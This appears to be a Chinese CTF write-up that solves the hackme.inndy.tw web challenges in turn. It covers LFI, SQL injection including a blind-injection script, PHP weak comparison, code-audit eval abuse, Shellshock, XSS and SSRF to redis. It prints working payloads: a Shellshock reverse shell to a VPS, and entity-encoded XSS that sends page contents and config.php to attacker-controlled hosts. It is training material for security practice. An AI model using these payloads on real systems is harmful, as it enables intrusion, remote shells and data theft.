hackme-web题解

历史文章补发

前言

最近rootme网站好像有点问题,所以刷点hackme网站的题目,网址https://hackme.inndy.tw/

LFI

查看源代码

尝试读取

1
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

Can you read the flag<?php require(‘config.php’); ?>?

读取config即可得到flag

1
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

homepage

查看代码在结尾看到一个cute.js,跟踪一下,发现aaencode编码,丢在控制台执行即可得到二维码,扫描即可

ping

命令执行,我们可以使用 $() 或者 都可以实现执行命令的作用

1
https://hackme.inndy.tw/ping/?ip=$(ls -a)

然后访问flag.php文件,因为题目过滤flag和php关键字,还有cat等命令,我们可以尝试

1
https://hackme.inndy.tw/ping/?ip=$(tac *.*)

scoreboard

f12查看点击网络,查看一下消息头即可看到flag

login as admin 0

题目主要源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
require('config.php');
// table schema
// user -> id, user, password, is_admin
if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
$user = null;
// connect to database
if(!empty($_POST['name']) && !empty($_POST['password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
}
} catch(Exception $e) {
$user = false;
}
}
?>

本题是一道sql注入题目,要求我们以admin身份登录,题目过滤部分如下

1
2
3
4
5
6
7
8
9
10
11
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\\\'", $str);
}
$_

可以看到,题目过滤了 or 1=1 等字符,还会用反斜杠转义单引号,漏洞点就在于本题只转义引号,不转义其它字符,所以我们可以考虑用自己提交的反斜杠转义掉引号前面的反斜杠,这样引号就被脱出来了,于是我们可以成功闭合,另外由于题目转义了引号,我们在构造admin登录的时候,可以使用16进制绕过,最终payload如下

1
name=guest\' or user=0x61646d696e-- +&password=guest

login as admin 0.1

上个题目的加强版,直接union注入即可,最终payload如下

1
name=guest\'  union select 1,the_f14g,3,3 from h1dden_f14g-- +&password=123465

login as admin 1

题目过滤并不严格,payload如下

1
admin\'/**/or/**/1/**/limit/**/0,1#

login as admin 1.2

上一题的加强版,需要进行盲注,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "https://hackme.inndy.tw/login1/index.php"
length = 1
flag = ""

# payload1 = r"guest\'/**/union/**/select/**/1=7,2=5,3=9,(ascii(substr(database(),{},1))={})#"
# database:login_as_admin1
# payload1 = r"guest\'/**/union/**/select/**/1=7,2=5,3=9,(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))={})#"
# tables: 0bdb54c98123f5526ccaed982d2006a9,users
# payload1 = r"guest\'/**/union/**/select/**/1=7,2=5,3=9,(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x3062646235346339383132336635353236636361656439383264323030366139),{},1))={})#"
# id,4a391a11cfa831ca740cf8d00782f3a6

payload1 = r"guest\'/**/union/**/select/**/1=7,2=5,3=9,(ascii(substr((select/**/group_concat(4a391a11cfa831ca740cf8d00782f3a6)/**/from/**/0bdb54c98123f5526ccaed982d2006a9),{},1))={})#"
data = {'name':r"guest\'/**/union/**/select/**/1=7,2=5,3=9,(ascii(substr(database(),{},1))>{})#", 'password':"123"}
for i in range(0,70):
for j in range(32,128):
data['name'] = payload1.format(str(length),str(j))
content = requests.post(url,data=data).text
if "FLAG" in content:
flag += chr(j)
print('**flag:**',flag)
length += 1
break

login as admin 3

题目要求我们以admin身份登录,漏洞点在于验证登录时的判断使用了 != ,这就存在弱比较的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function load_user()
{
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];
if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}
$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}

我们只要使$unserialized[‘sig’]的值为数字0即可绕过验证

那么我们构造一个cookie

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
function set_user()
{
global $user, $secret;
$user = ['admin', true];
$data = json_encode($user);
$sig = 0;
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
return $all;
}
echo set_user();
?>

然后刷新即可

login as admin 4

题目存在逻辑漏洞,重定向之后并没有exit,所以导致最终的判断被执行,所以我们只需要提交name为admin即可

1
curl -d "name=admin" https://hackme.inndy.tw/login4/

Login as Admin 6

1
2
3
4
5
6
7
8
9
10
11
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;
}
}

看代码可知存在变量覆盖漏洞,构造json数据即可

1
data={"users":{"admin":"snow"},"username":"admin","password":"snow"}

login as admin 7

md5弱比较

payload

dafuq-manager 1

查看cookie可以发现 show_hidden 字段为 no,改为yes刷新即可得到flag

dafuq-manager 2

这是一道代码审计,这是我第一次做这种整个网站源码的审计,还是有点被惊到了,万事开头难,看了别人的思路,我也开始了自己的审计之路,题目要求我们以admin的身份登录查看flag

推荐使用PHPstorm来审计这种代码,搜索定位函数和变量会方便一点,先查看入口文件index.php,找到了admin相关的部分

1
2
3
4
case "admin":
require "./core/fun_admin.php";
show_admin($GLOBALS["dir"]);
break;

我们跟进fun_admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function show_admin($dir) {
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);
if (!$GLOBALS["require_login"]) show_error($GLOBALS["error_msg"]["miscnofunc"]);
if (isset($GLOBALS['__GET']["action2"])) $action2 = $GLOBALS['__GET']["action2"];
elseif (isset($GLOBALS['__POST']["action2"])) $action2 = $GLOBALS['__POST']["action2"];
else $action2 = "";
switch ($action2) {
case "chpwd":
if (!$pwd) show_error($GLOBALS["error_msg"]["accessfunc"]);
changepwd($dir);
break;
case "adduser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
adduser($dir);
break;
case "edituser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
edituser($dir);
break;
case "rmuser":
if (!$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
removeuser($dir);
break;
default:
if (!$pwd && !$admin) show_error($GLOBALS["error_msg"]["accessfunc"]);
admin($admin, $dir);
}
}

主要的限制条件在于

1
2
$pwd = (($GLOBALS["permissions"] & 2) == 2);
$admin = (($GLOBALS["permissions"] & 4) == 4);

我们跟进这个变量看一下

1
2
3
4
5
6
7
8
9
10
11
12
function activate_user($user, $pass) {
$data = find_user($user, $pass);
if ($data == NULL) return false;
$GLOBALS['__SESSION']["s_user"] = $data[0];
$GLOBALS['__SESSION']["s_pass"] = $data[1];
$GLOBALS["home_dir"] = $data[2];
$GLOBALS["home_url"] = $data[3];
$GLOBALS["show_hidden"] = $data[4];
$GLOBALS["no_access"] = $data[5];
$GLOBALS["permissions"] = $data[6];
return true;
}

再定位到find_user()

1
2
3
4
5
6
7
8
9
10
11
function &find_user($user, $pass) {
$cnt = count($GLOBALS["users"]);
for ($i = 0;$i < $cnt;++$i) {
if ($user == $GLOBALS["users"][$i][0]) {
if ($pass == NULL || ($pass == $GLOBALS["users"][$i][1] && $GLOBALS["users"][$i][7])) {
return $GLOBALS["users"][$i];
}
}
}
return NULL;
}

可以看到data来自于全局变量users中,那么我们在追踪到.htusers.php中的users变量

1
2
3
$GLOBALS["users"] = array(
array("guest", "084e0343a0486ff05530df6c705c8bb4", "./data/guest", "https://game1.security.ntu.st/data/guest", 0, "^.ht", 1, 1),
);

但是源代码泄露只给出guest的信息,而没有admin的信息,所以我们可以考虑尝试读取该PHP文件的内容,所以我们可以在代码中查找文件读取相关的的函数

在fun_down.php文件中可以找到一个readfile()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
require_once ('core/secure.php');
function download_item($dir, $item) {
$item = basename($item);
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$abs_item = get_abs_item($dir, $item);
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$browser = id_browser();
header('Content-Type: ' . (($browser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream'));
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($abs_item));
if ($browser == 'IE') {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
} else {
header('Content-Disposition: attachment; filename="' . $item . '"');
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
}
@readfile($abs_item);
exit;
}

题目过滤部分如下

1
2
3
4
5
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$abs_item = get_abs_item($dir, $item);
if (!file_in_web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

我们要读取的是 .config/.htusers.php ,但是在题目的 stristr($abs_item, '.php') || stristr($abs_item, 'config') 过滤了config和php两个字段,显然无法读取,只得在看看其他的函数,在fun_edit.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function edit_file($dir, $item) {
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);
$fname = get_abs_item($dir, $item);
if (!file_in_web($fname)) show_error($GLOBALS["error_msg"]["accessfile"]);
if (isset($GLOBALS['__POST']["dosave"]) && $GLOBALS['__POST']["dosave"] == "yes") {
$item = basename(stripslashes($GLOBALS['__POST']["fname"]));
$fname2 = get_abs_item($dir, $item);
if (!isset($item) || $item == "") show_error($GLOBALS["error_msg"]["miscnoname"]);
if ($fname != $fname2 && @file_exists($fname2)) show_error($item . ": " . $GLOBALS["error_msg"]["itemdoesexist"]);
savefile($dir, $fname2);
$fname = $fname2;
}
$fp = @fopen($fname, "r");
if ($fp === false) show_error($item . ": " . $GLOBALS["error_msg"]["openfile"]);
$s_item = get_rel_item($dir, $item);
if (strlen($s_item) > 50) $s_item = "..." . substr($s_item, -47);
show_header($GLOBALS["messages"]["actedit"] . ": /" . $s_item);

函数中有三条过滤

1
2
3
if (($GLOBALS["permissions"] & 01) != 01) show_error($GLOBALS["error_msg"]["accessfunc"]);
if (!get_is_file($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["fileexist"]);
if (!get_show_item($dir, $item)) show_error($item . ": " . $GLOBALS["error_msg"]["accessfile"]);

第一条权限验证guest权限显然是满足的,第二条判断文件是否存在,不需要考虑,第三个我们跟进函数看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_show_item($dir, $item) {
if ($item == "." || $item == "..") return false;
if ($_COOKIE['help'] == 'me') {
$_COOKIE['help'] = null;
setcookie('help', '', time() - 9999999999);
echo '<script>alert("Very good. You know how to create cookie. How about tamper a cookie?")</script>';
}
if (empty($_COOKIE['show_hidden'])) {
setcookie('show_hidden', 'no', time() + 3600);
}
if (substr($item, 0, 1) == "." && $GLOBALS["show_hidden"] == false && $_COOKIE['show_hidden'] != 'yes') return false;
if ($GLOBALS["no_access"] != "" && @eregi($GLOBALS["no_access"], $item)) return false;
if ($GLOBALS["show_hidden"] == false) {
$dirs = explode("/", $dir);
foreach ($dirs as $i) if (substr($i, 0, 1) == ".") return false;
}
return true;
}

题目仅仅对$item进行了简单的过滤, if ($item == "." || $item == "..") return false; ,那么我们可以考虑用目录穿越 ../../ 绕过

那么至此我们可以在网站中找到edit相关的函数,发起请求(注意cookie中show_hidden对应的值要改为yes)

1
https://dafuq-manager.hackme.inndy.tw/index.php?action=edit&item=../../../../../var/www/webhdisk/.config/.htusers.php&order=name&srt=yes&lang=en

于是可以读到目标文件

.htusers.php

然后用admin用户登录即可,注意密码要进行md5解密即可,密码为 how do you turn this on ,登录即可读取flag

dafuq-manager 3

题目给出了信息

For flag3, you need a shell to get that. see $WEBROOT/flag3!

这关我们需要getsheel读取文件,那么我们在源码中寻找可以执行系统命令的语句,在文件中尝试搜索关键词 eval ,在fun_debug.php中发现存在该函数,跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function do_debug() {
assert(strlen($GLOBALS['secret_key']) > 40);
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}
list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
$cmd = base64_decode($cmd);
$bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
foreach ($bad_things as $bad) {
if (stristr($cmd, $bad)) {
die('2bad');
}
}
if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
die(eval($cmd));
} else {
show_error('What does the fox say?');
}
}

对于dir的过滤,我们可以利用strcmp的数组绕过特性来绕过,题目还过滤了一些系统函数,我们可以考虑通过base64编码绕过,而对于$GLOBALS[‘__GET’][‘command’]变量的生成,题目也给出了生成函数

1
2
3
4
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}

所以我们可以自己生成command

1
2
3
4
5
6
7
<?php 
function make_command($cmd) {
$hmac = hash_hmac('sha256', $cmd, "KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3");
return sprintf('%s.%s', base64_encode($cmd), $hmac);
}
var_dump(make_command('$a=\'sys\';$b=\'tem\';$c=$a.$b;$c(base64_decode(\'Li9mbGFnMy9tZW93IGZsYWczL2ZsYWcz\'));'));
?>

注意本题不能直接读取flag,要通过运行目录下的一个c文件来间接读取flag,最终payload如下

1
https://dafuq-manager.hackme.inndy.tw/index.php?action=debug&dir[]=admin&command=JGE9J3N5cyc7JGI9J3RlbSc7JGM9JGEuJGI7JGMoYmFzZTY0X2RlY29kZSgnTGk5bWJHRm5NeTl0Wlc5M0lHWnNZV2N6TDJac1lXY3onKSk7.001e9b2112bdf0443a0eaf4a489f477d1cf525cf58f05286606007046856460b&order=name&srt=yes&lang=en

做完后感觉自己好菜呀,这代码审计的我晕头转向,233333…

wordpress 1

WordPress代码审计,在backup file中可以下载到源码,打开源码,随便翻一下,在 wp-content/plugins/core.php 中发现了一段代码

1
2
3
4
5
6
7
8
9
10
11
function print_f14g()
{
$h = 'm'.sprintf('%s%d','d',-4+9e0);
if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') {
if(wp_get_user_ip() === '127.0.0.1') {
eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT)));
} else {
die('</head><body><h1>Sorry, Only admin from localhost can get flag');
}
}
}

我们把代码中的md5解密一下发现是 cat flag,而题目要求从本地访问,我们可以通过修改x-forwarded-for字段实现,所以修改请求头之后,在访问

1
https://wp.hackme.inndy.tw/?passw0rd=cat%20flag

查看元素即可找到flag

wordpress 2

随便翻一下博客上的文章,发现有2013年10月发表了一篇文章,题目为flag2,但是需要密码,审计代码发现在content-search.php中有如下语句

1
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

看到query,应该是在搜索页面,所以我们提交的payload应该为

1
https://wp.hackme.inndy.tw/archives/date/2013/10?s=&debug=content

command-executor

随便点击,发现有func参数存在文件读取漏洞,利用filter协议可以读取文件

1
https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=index

base64解码一下得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
?>

题目有一个putenv()敏感函数,百度可知存在一个2014年的一个重大漏洞 CVE-2014-6271(破壳(shellsock)漏洞) ,在freebuf中有一个链接

http://www.freebuf.com/articles/system/45390.html

国外有一个漏洞利用的文章,

https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

exp

但是直接利用会被waf掉,所以我们要考虑绕过正则

1
'\(\)\s*\{\s*:;\s*\};'

题目的正则中 :; 是存在漏洞的,我们可以用 : ; 绕过,重试一下发现可以成功,我们可以开始执行shell命令,尝试访问flag,一波探测之后发现读取flag时遇到了又遇到了waf,这次是 \/flag 我们可以利用通配符绕过,

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../?lag-reader.c" -q -O -  "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但是并没有出现flag,发现是因为只有root才有文件的读权限

但是题目中有一个flag-reader文件,我们尝试读取一下

1
wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));

if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}

代码的大致意思就是要我们一秒内把它输出的内容在输入回去,即可以打出文件内容,但是以我们现在的交互方式显然太慢了,最好反弹一个shell

1
wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/your_vps_ip/8888 0>&1" -q -O -  "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

又发现在/var/tmp目录是可写的,所以我们可以利用该目录来读flag

1
flag-reader flag > /var/tmp/content < /var/tmp/content
1
cat content

xssme

先注册一个账号登录一下, 发现有一个send email功能,而题目又说xssme,猜测应该是存在xss漏洞,测试一下

1
<script>alert('123')</script>

回显script标签和(被过滤了,尝试绕过,onerror等也都被过滤了,发现可以用svg/onload来做

payload

然后在自己的ceve账号中收到回显

回显

xssrf leak

上一题中有一个PHPSESSID,尝试用这个cookie访问一下,可以看到页面有回显

Admin only allowed from localhost, but you came from 192.168.123.1

修改了请求头也没有用,看了别人的思路我们可以利用xss来本地读取文件,看到了一个方法

1
<svg/onload="document.location='http://ov0eg5.ceye.io/?'+btoa(document.body.innerHTML)">

但是遭到了过滤,我们可以考虑用HTML实体编码绕过

1
<svg/onload="&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;'&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#111;&#118;&#48;&#101;&#103;&#53;&#46;&#99;&#101;&#121;&#101;&#46;&#105;&#111;&#47;&#63;'&#43;&#98;&#116;&#111;&#97;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#105;&#110;&#110;&#101;&#114;&#72;&#84;&#77;&#76;&#41;">

果然可以收到payload,base64解码一下再保存为html格式打开

send request功能有个request.php,尝试读取该页面

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

编码一下

1
<svg/onload="&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#61;&#110;&#101;&#119;&#32;&#88;&#77;&#76;&#72;&#116;&#116;&#112;&#82;&#101;&#113;&#117;&#101;&#115;&#116;&#40;&#41;&#59;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#111;&#110;&#114;&#101;&#97;&#100;&#121;&#115;&#116;&#97;&#116;&#101;&#99;&#104;&#97;&#110;&#103;&#101;&#61;&#102;&#117;&#110;&#99;&#116;&#105;&#111;&#110;&#40;&#41;&#10;&#123;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#32;&#40;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#114;&#101;&#97;&#100;&#121;&#83;&#116;&#97;&#116;&#101;&#61;&#61;&#52;&#32;&#38;&#38;&#32;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#115;&#116;&#97;&#116;&#117;&#115;&#61;&#61;&#50;&#48;&#48;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;'&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#51;&#56;&#46;&#54;&#56;&#46;&#50;&#57;&#46;&#57;&#50;&#58;&#50;&#51;&#51;&#51;&#51;&#47;&#63;'&#43;&#98;&#116;&#111;&#97;&#40;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#114;&#101;&#115;&#112;&#111;&#110;&#115;&#101;&#84;&#101;&#120;&#116;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#125;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#111;&#112;&#101;&#110;&#40;&#34;&#71;&#69;&#84;&#34;&#44;&#34;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#112;&#104;&#112;&#34;&#44;&#116;&#114;&#117;&#101;&#41;&#59;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#115;&#101;&#110;&#100;&#40;&#41;&#59;">

然后在vps上即可收到base64字符串,解码

这应该就是题目的利用位置,我们尝试读config.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">

编码发送,果然可以收到flag

result

xssrf redis

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");
">

发现有flag,读取之

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");

然后处理一下即可得到flag